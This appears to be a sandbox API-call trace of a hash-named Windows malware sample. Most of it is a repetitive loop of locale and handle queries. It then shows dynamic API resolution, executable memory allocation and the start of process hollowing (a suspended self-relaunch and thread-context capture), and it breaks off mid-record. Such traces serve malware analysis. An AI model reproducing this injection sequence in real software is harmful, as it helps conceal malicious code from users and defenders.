[0072.932] GetThreadLocale () returned 0x409 [0072.932] GetCurrentProcess () returned 0xffffffff [0072.932] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.932] GetSystemDefaultLangID () returned 0x2740409 [0072.932] GetThreadLocale () returned 0x409 [0072.932] GetCurrentProcess () returned 0xffffffff [0072.932] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.932] GetSystemDefaultLangID () returned 0x2740409 [0072.933] GetThreadLocale () returned 0x409 [0072.933] GetCurrentProcess () returned 0xffffffff [0072.933] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.933] GetSystemDefaultLangID () returned 0x2740409 [0072.933] GetThreadLocale () returned 0x409 [0072.933] GetCurrentProcess () returned 0xffffffff [0072.933] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.933] GetSystemDefaultLangID () returned 0x2740409 [0072.933] GetThreadLocale () returned 0x409 [0072.933] GetCurrentProcess () returned 0xffffffff [0072.933] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.933] GetSystemDefaultLangID () returned 0x2740409 [0072.933] GetThreadLocale () returned 0x409 [0072.933] GetCurrentProcess () returned 0xffffffff [0072.933] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.933] GetSystemDefaultLangID () returned 0x2740409 [0072.933] GetThreadLocale () returned 0x409 [0072.933] GetCurrentProcess () returned 0xffffffff [0072.933] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.933] GetSystemDefaultLangID () returned 0x2740409 [0072.933] GetThreadLocale () returned 0x409 [0072.933] GetCurrentProcess () returned 0xffffffff [0072.933] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.933] GetSystemDefaultLangID () returned 0x2740409 [0072.933] GetThreadLocale () returned 0x409 [0072.933] GetCurrentProcess () returned 0xffffffff [0072.933] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.933] GetSystemDefaultLangID () returned 0x2740409 [0072.933] GetThreadLocale () returned 0x409 [0072.933] GetCurrentProcess () returned 0xffffffff [0072.933] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.933] GetSystemDefaultLangID () returned 0x2740409 [0072.933] GetThreadLocale () returned 0x409 [0072.933] GetCurrentProcess () returned 0xffffffff [0072.933] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.934] GetSystemDefaultLangID () returned 0x2740409 [0072.934] GetThreadLocale () returned 0x409 [0072.934] GetCurrentProcess () returned 0xffffffff [0072.934] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.934] GetSystemDefaultLangID () returned 0x2740409 [0072.934] GetThreadLocale () returned 0x409 [0072.934] GetCurrentProcess () returned 0xffffffff [0072.934] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.934] GetSystemDefaultLangID () returned 0x2740409 [0072.934] GetThreadLocale () returned 0x409 [0072.934] GetCurrentProcess () returned 0xffffffff [0072.934] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.934] GetSystemDefaultLangID () returned 0x2740409 [0072.934] GetThreadLocale () returned 0x409 [0072.934] GetCurrentProcess () returned 0xffffffff [0072.934] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.934] GetSystemDefaultLangID () returned 0x2740409 [0072.934] GetThreadLocale () returned 0x409 [0072.934] GetCurrentProcess () returned 0xffffffff [0072.934] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.934] GetSystemDefaultLangID () returned 0x2740409 [0072.934] GetThreadLocale () returned 0x409 [0072.934] GetCurrentProcess () returned 0xffffffff [0072.934] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.934] GetSystemDefaultLangID () returned 0x2740409 [0072.934] GetThreadLocale () returned 0x409 [0072.934] GetCurrentProcess () returned 0xffffffff [0072.935] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.935] GetSystemDefaultLangID () returned 0x2740409 [0072.935] GetThreadLocale () returned 0x409 [0072.935] GetCurrentProcess () returned 0xffffffff [0072.935] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.935] GetSystemDefaultLangID () returned 0x2740409 [0072.935] GetThreadLocale () returned 0x409 [0072.935] GetCurrentProcess () returned 0xffffffff [0072.935] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.935] GetSystemDefaultLangID () returned 0x2740409 [0072.935] GetThreadLocale () returned 0x409 [0072.935] GetCurrentProcess () returned 0xffffffff [0072.935] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.936] GetSystemDefaultLangID () returned 0x2740409 [0072.936] GetThreadLocale () returned 0x409 [0072.936] GetCurrentProcess () returned 0xffffffff [0072.936] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.936] GetSystemDefaultLangID () returned 0x2740409 [0072.936] GetThreadLocale () returned 0x409 [0072.936] GetCurrentProcess () returned 0xffffffff [0072.936] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.936] GetSystemDefaultLangID () returned 0x2740409 [0072.936] GetThreadLocale () returned 0x409 [0072.936] GetCurrentProcess () returned 0xffffffff [0072.936] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.936] GetSystemDefaultLangID () returned 0x2740409 [0072.936] GetThreadLocale () returned 0x409 [0072.936] GetCurrentProcess () returned 0xffffffff [0072.936] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.936] GetSystemDefaultLangID () returned 0x2740409 [0072.936] GetThreadLocale () returned 0x409 [0072.936] GetCurrentProcess () returned 0xffffffff [0072.936] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.936] GetSystemDefaultLangID () returned 0x2740409 [0072.936] GetThreadLocale () returned 0x409 [0072.936] GetCurrentProcess () returned 0xffffffff [0072.936] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.936] GetSystemDefaultLangID () returned 0x2740409 [0072.936] GetThreadLocale () returned 0x409 [0072.936] GetCurrentProcess () returned 0xffffffff [0072.936] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.936] GetSystemDefaultLangID () returned 0x2740409 [0072.936] GetThreadLocale () returned 0x409 [0072.937] GetCurrentProcess () returned 0xffffffff [0072.937] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.937] GetSystemDefaultLangID () returned 0x2740409 [0072.937] GetThreadLocale () returned 0x409 [0072.937] GetCurrentProcess () returned 0xffffffff [0072.937] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.937] GetSystemDefaultLangID () returned 0x2740409 [0072.937] GetThreadLocale () returned 0x409 [0072.937] GetCurrentProcess () returned 0xffffffff [0072.937] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.937] GetSystemDefaultLangID () returned 0x2740409 [0072.937] GetThreadLocale () returned 0x409 [0072.937] GetCurrentProcess () returned 0xffffffff [0072.937] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.937] GetSystemDefaultLangID () returned 0x2740409 [0072.937] GetThreadLocale () returned 0x409 [0072.937] GetCurrentProcess () returned 0xffffffff [0072.937] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.937] GetSystemDefaultLangID () returned 0x2740409 [0072.937] GetThreadLocale () returned 0x409 [0072.937] GetCurrentProcess () returned 0xffffffff [0072.937] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.937] GetSystemDefaultLangID () returned 0x2740409 [0072.937] GetThreadLocale () returned 0x409 [0072.937] GetCurrentProcess () returned 0xffffffff [0072.937] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.937] GetSystemDefaultLangID () returned 0x2740409 [0072.937] GetThreadLocale () returned 0x409 [0072.937] GetCurrentProcess () returned 0xffffffff [0072.937] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.938] GetSystemDefaultLangID () returned 0x2740409 [0072.938] GetThreadLocale () returned 0x409 [0072.938] GetCurrentProcess () returned 0xffffffff [0072.938] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.938] GetSystemDefaultLangID () returned 0x2740409 [0072.938] GetThreadLocale () returned 0x409 [0072.938] GetCurrentProcess () returned 0xffffffff [0072.938] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.938] GetSystemDefaultLangID () returned 0x2740409 [0072.938] GetThreadLocale () returned 0x409 [0072.938] GetCurrentProcess () returned 0xffffffff [0072.938] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.938] GetSystemDefaultLangID () returned 0x2740409 [0072.938] GetThreadLocale () returned 0x409 [0072.938] GetCurrentProcess () returned 0xffffffff [0072.938] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.938] GetSystemDefaultLangID () returned 0x2740409 [0072.938] GetThreadLocale () returned 0x409 [0072.938] GetCurrentProcess () returned 0xffffffff [0072.938] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.938] GetSystemDefaultLangID () returned 0x2740409 [0072.938] GetThreadLocale () returned 0x409 [0072.938] GetCurrentProcess () returned 0xffffffff [0072.938] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.938] GetSystemDefaultLangID () returned 0x2740409 [0072.938] GetThreadLocale () returned 0x409 [0072.938] GetCurrentProcess () returned 0xffffffff [0072.938] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.938] GetSystemDefaultLangID () returned 0x2740409 [0072.939] GetThreadLocale () returned 0x409 [0072.939] GetCurrentProcess () returned 0xffffffff [0072.939] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.939] GetSystemDefaultLangID () returned 0x2740409 [0072.939] GetThreadLocale () returned 0x409 [0072.939] GetCurrentProcess () returned 0xffffffff [0072.939] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.939] GetSystemDefaultLangID () returned 0x2740409 [0072.939] GetThreadLocale () returned 0x409 [0072.939] GetCurrentProcess () returned 0xffffffff [0072.939] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.939] GetSystemDefaultLangID () returned 0x2740409 [0072.939] GetThreadLocale () returned 0x409 [0072.939] GetCurrentProcess () returned 0xffffffff [0072.939] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.939] GetSystemDefaultLangID () returned 0x2740409 [0072.939] GetThreadLocale () returned 0x409 [0072.939] GetCurrentProcess () returned 0xffffffff [0072.939] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.939] GetSystemDefaultLangID () returned 0x2740409 [0072.939] GetThreadLocale () returned 0x409 [0072.939] GetCurrentProcess () returned 0xffffffff [0072.939] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.939] GetSystemDefaultLangID () returned 0x2740409 [0072.939] GetThreadLocale () returned 0x409 [0072.939] GetCurrentProcess () returned 0xffffffff [0072.939] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.939] GetSystemDefaultLangID () returned 0x2740409 [0072.939] GetThreadLocale () returned 0x409 [0072.939] GetCurrentProcess () returned 0xffffffff [0072.939] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.940] GetSystemDefaultLangID () returned 0x2740409 [0072.940] GetThreadLocale () returned 0x409 [0072.940] GetCurrentProcess () returned 0xffffffff [0072.940] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.940] GetSystemDefaultLangID () returned 0x2740409 [0072.940] GetThreadLocale () returned 0x409 [0072.940] GetCurrentProcess () returned 0xffffffff [0072.940] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.940] GetSystemDefaultLangID () returned 0x2740409 [0072.940] GetThreadLocale () returned 0x409 [0072.940] GetCurrentProcess () returned 0xffffffff [0072.940] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.940] GetSystemDefaultLangID () returned 0x2740409 [0072.940] GetThreadLocale () returned 0x409 [0072.940] GetCurrentProcess () returned 0xffffffff [0072.940] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.940] GetSystemDefaultLangID () returned 0x2740409 [0072.940] GetThreadLocale () returned 0x409 [0072.940] GetCurrentProcess () returned 0xffffffff [0072.940] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.940] GetSystemDefaultLangID () returned 0x2740409 [0072.940] GetThreadLocale () returned 0x409 [0072.940] GetCurrentProcess () returned 0xffffffff [0072.940] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.940] GetSystemDefaultLangID () returned 0x2740409 [0072.940] GetThreadLocale () returned 0x409 [0072.940] GetCurrentProcess () returned 0xffffffff [0072.940] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.940] GetSystemDefaultLangID () returned 0x2740409 [0072.941] GetThreadLocale () returned 0x409 [0072.941] GetCurrentProcess () returned 0xffffffff [0072.941] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.941] GetSystemDefaultLangID () returned 0x2740409 [0072.941] GetThreadLocale () returned 0x409 [0072.941] GetCurrentProcess () returned 0xffffffff [0072.941] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.941] GetSystemDefaultLangID () returned 0x2740409 [0072.941] GetThreadLocale () returned 0x409 [0072.941] GetCurrentProcess () returned 0xffffffff [0072.941] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.941] GetSystemDefaultLangID () returned 0x2740409 [0072.941] GetThreadLocale () returned 0x409 [0072.941] GetCurrentProcess () returned 0xffffffff [0072.941] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.941] GetSystemDefaultLangID () returned 0x2740409 [0072.941] GetThreadLocale () returned 0x409 [0072.941] GetCurrentProcess () returned 0xffffffff [0072.941] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.941] GetSystemDefaultLangID () returned 0x2740409 [0072.941] GetThreadLocale () returned 0x409 [0072.941] GetCurrentProcess () returned 0xffffffff [0072.941] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.941] GetSystemDefaultLangID () returned 0x2740409 [0072.941] GetThreadLocale () returned 0x409 [0072.941] GetCurrentProcess () returned 0xffffffff [0072.941] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.941] GetSystemDefaultLangID () returned 0x2740409 [0072.941] GetThreadLocale () returned 0x409 [0072.941] GetCurrentProcess () returned 0xffffffff [0072.942] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.942] GetSystemDefaultLangID () returned 0x2740409 [0072.942] GetThreadLocale () returned 0x409 [0072.942] GetCurrentProcess () returned 0xffffffff [0072.942] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.942] GetSystemDefaultLangID () returned 0x2740409 [0072.942] GetThreadLocale () returned 0x409 [0074.498] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76720000 [0074.500] LocalAlloc (uFlags=0x0, uBytes=0xf750) returned 0x2751f48 [0074.501] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76720000 [0074.501] GetProcAddress (hModule=0x76720000, lpProcName="VirtualProtect") returned 0x76737a50 [0074.501] VirtualProtect (in: lpAddress=0x2751f48, dwSize=0xf750, flNewProtect=0x40, lpflOldProtect=0x19e81c | out: lpflOldProtect=0x19e81c*=0x4) returned 1 [0074.527] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76720000 [0074.527] GetProcAddress (hModule=0x76720000, lpProcName="GlobalAlloc") returned 0x76739950 [0074.527] GetProcAddress (hModule=0x76720000, lpProcName="GetLastError") returned 0x76733870 [0074.527] GetProcAddress (hModule=0x76720000, lpProcName="Sleep") returned 0x76737990 [0074.527] GetProcAddress (hModule=0x76720000, lpProcName="VirtualAlloc") returned 0x76737810 [0074.527] GetProcAddress (hModule=0x76720000, lpProcName="CreateToolhelp32Snapshot") returned 0x76747b50 [0074.528] GetProcAddress (hModule=0x76720000, lpProcName="Module32First") returned 0x767644b0 [0074.528] GetProcAddress (hModule=0x76720000, lpProcName="CloseHandle") returned 0x76746630 [0074.528] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0xac [0074.597] Module32First (hSnapshot=0xac, lpme=0x19f1dc) returned 1 [0074.598] VirtualAlloc (lpAddress=0x0, dwSize=0x89a0, flAllocationType=0x1000, flProtect=0x40) returned 0x2580000 [0074.601] LoadLibraryA (lpLibFileName="user32") returned 0x743d0000 [0074.601] GetProcAddress (hModule=0x743d0000, lpProcName="MessageBoxA") returned 0x7444fec0 [0074.602] GetProcAddress (hModule=0x743d0000, lpProcName="GetMessageExtraInfo") returned 0x74403690 [0074.602] LoadLibraryA (lpLibFileName="kernel32") returned 0x76720000 [0074.602] GetProcAddress (hModule=0x76720000, lpProcName="WinExec") returned 0x7675ff70 [0074.602] GetProcAddress (hModule=0x76720000, lpProcName="CreateFileA") returned 0x76746880 [0074.602] GetProcAddress (hModule=0x76720000, lpProcName="WriteFile") returned 0x76746ca0 [0074.602] GetProcAddress (hModule=0x76720000, lpProcName="CloseHandle") returned 0x76746630 [0074.602] GetProcAddress (hModule=0x76720000, lpProcName="CreateProcessA") returned 0x76760750 [0074.602] GetProcAddress (hModule=0x76720000, lpProcName="GetThreadContext") returned 0x7673ec60 [0074.602] GetProcAddress (hModule=0x76720000, lpProcName="VirtualAlloc") returned 0x76737810 [0074.602] GetProcAddress (hModule=0x76720000, lpProcName="VirtualAllocEx") returned 0x76762730 [0074.602] GetProcAddress (hModule=0x76720000, lpProcName="VirtualFree") returned 0x76737600 [0074.603] GetProcAddress (hModule=0x76720000, lpProcName="ReadProcessMemory") returned 0x76761c80 [0074.603] GetProcAddress (hModule=0x76720000, lpProcName="WriteProcessMemory") returned 0x76762850 [0074.603] GetProcAddress (hModule=0x76720000, lpProcName="SetThreadContext") returned 0x76762490 [0074.603] GetProcAddress (hModule=0x76720000, lpProcName="ResumeThread") returned 0x7673a800 [0074.603] GetProcAddress (hModule=0x76720000, lpProcName="WaitForSingleObject") returned 0x76746820 [0074.603] GetProcAddress (hModule=0x76720000, lpProcName="GetModuleFileNameA") returned 0x7673a720 [0074.603] GetProcAddress (hModule=0x76720000, lpProcName="GetCommandLineA") returned 0x7673ab60 [0074.603] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x771d0000 [0074.604] GetProcAddress (hModule=0x771d0000, lpProcName="NtUnmapViewOfSection") returned 0x77246f40 [0074.604] GetProcAddress (hModule=0x771d0000, lpProcName="NtWriteVirtualMemory") returned 0x77247040 [0074.604] GetProcAddress (hModule=0x743d0000, lpProcName="RegisterClassExA") returned 0x74404e90 [0074.604] GetProcAddress (hModule=0x743d0000, lpProcName="CreateWindowExA") returned 0x74406f30 [0074.604] GetProcAddress (hModule=0x743d0000, lpProcName="PostMessageA") returned 0x743ff0e0 [0074.604] GetProcAddress (hModule=0x743d0000, lpProcName="GetMessageA") returned 0x743fe130 [0074.604] GetProcAddress (hModule=0x743d0000, lpProcName="DefWindowProcA") returned 0x7725aed0 [0074.604] GetProcAddress (hModule=0x76720000, lpProcName="GetFileAttributesA") returned 0x76746a20 [0074.604] GetProcAddress (hModule=0x76720000, lpProcName="GetStartupInfoA") returned 0x76739c10 [0074.604] GetProcAddress (hModule=0x76720000, lpProcName="VirtualProtectEx") returned 0x76762790 [0074.605] GetProcAddress (hModule=0x76720000, lpProcName="ExitProcess") returned 0x76747b30 [0074.605] GetFileAttributesA (lpFileName="apfHQ" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\apfhq")) returned 0xffffffff [0074.606] GetFileAttributesA (lpFileName="apfHQ" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\apfhq")) returned 0xffffffff [0074.606] GetFileAttributesA (lpFileName="apfHQ" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\apfhq")) returned 0xffffffff [0074.606] RegisterClassExA (param_1=0x19ee98) returned 0xc1e3 [0074.607] CreateWindowExA (dwExStyle=0x200, lpClassName="saodkfnosa9uin", lpWindowName="mfoaskdfnoa", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=1000, nHeight=1000, hWndParent=0x0, hMenu=0x0, hInstance=0x0, lpParam=0x0) returned 0x70296 [0081.957] PostMessageA (hWnd=0x70296, Msg=0x400, wParam=0x64, lParam=0x1f4) returned 1 [0081.957] GetMessageA (in: lpMsg=0x19eec8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19eec8) returned 1 [0081.958] GetMessageA (in: lpMsg=0x19eec8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19eec8) returned 1 [0081.958] VirtualAlloc (lpAddress=0x0, dwSize=0x2800, flAllocationType=0x1000, flProtect=0x4) returned 0x25b0000 [0081.958] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x25b0000, nSize=0x2800 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe")) returned 0x62 [0081.958] GetStartupInfoA (in: lpStartupInfo=0x19edec | out: lpStartupInfo=0x19edec*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0081.958] GetCommandLineA () returned="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe\" " [0081.958] CreateProcessA (in: lpApplicationName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe", lpCommandLine="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe\" ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000004, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19edec*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0), lpProcessInformation=0x19ee44 | out: lpCommandLine="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe\" ", lpProcessInformation=0x19ee44*(hProcess=0x110, hThread=0x10c, dwProcessId=0xbf8, dwThreadId=0x254)) returned 1 [0082.532] VirtualFree (lpAddress=0x25b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.533] VirtualAlloc (lpAddress=0x0, dwSize=0x4, flAllocationType=0x1000, flProtect=0x4) returned 0x25b0000 [0082.534] GetThreadContext (in: hThread=0x10c, lpContext=0x25b0000 | out: lpContext=0x25b0000*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x35d000, Edx=0x0, Ecx=0x0, Eax=0x416767, Ebp=0x0, Eip=0x77248fe0, SegCs=0x23, EFlags=0x202, Esp=0x19fff0, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, 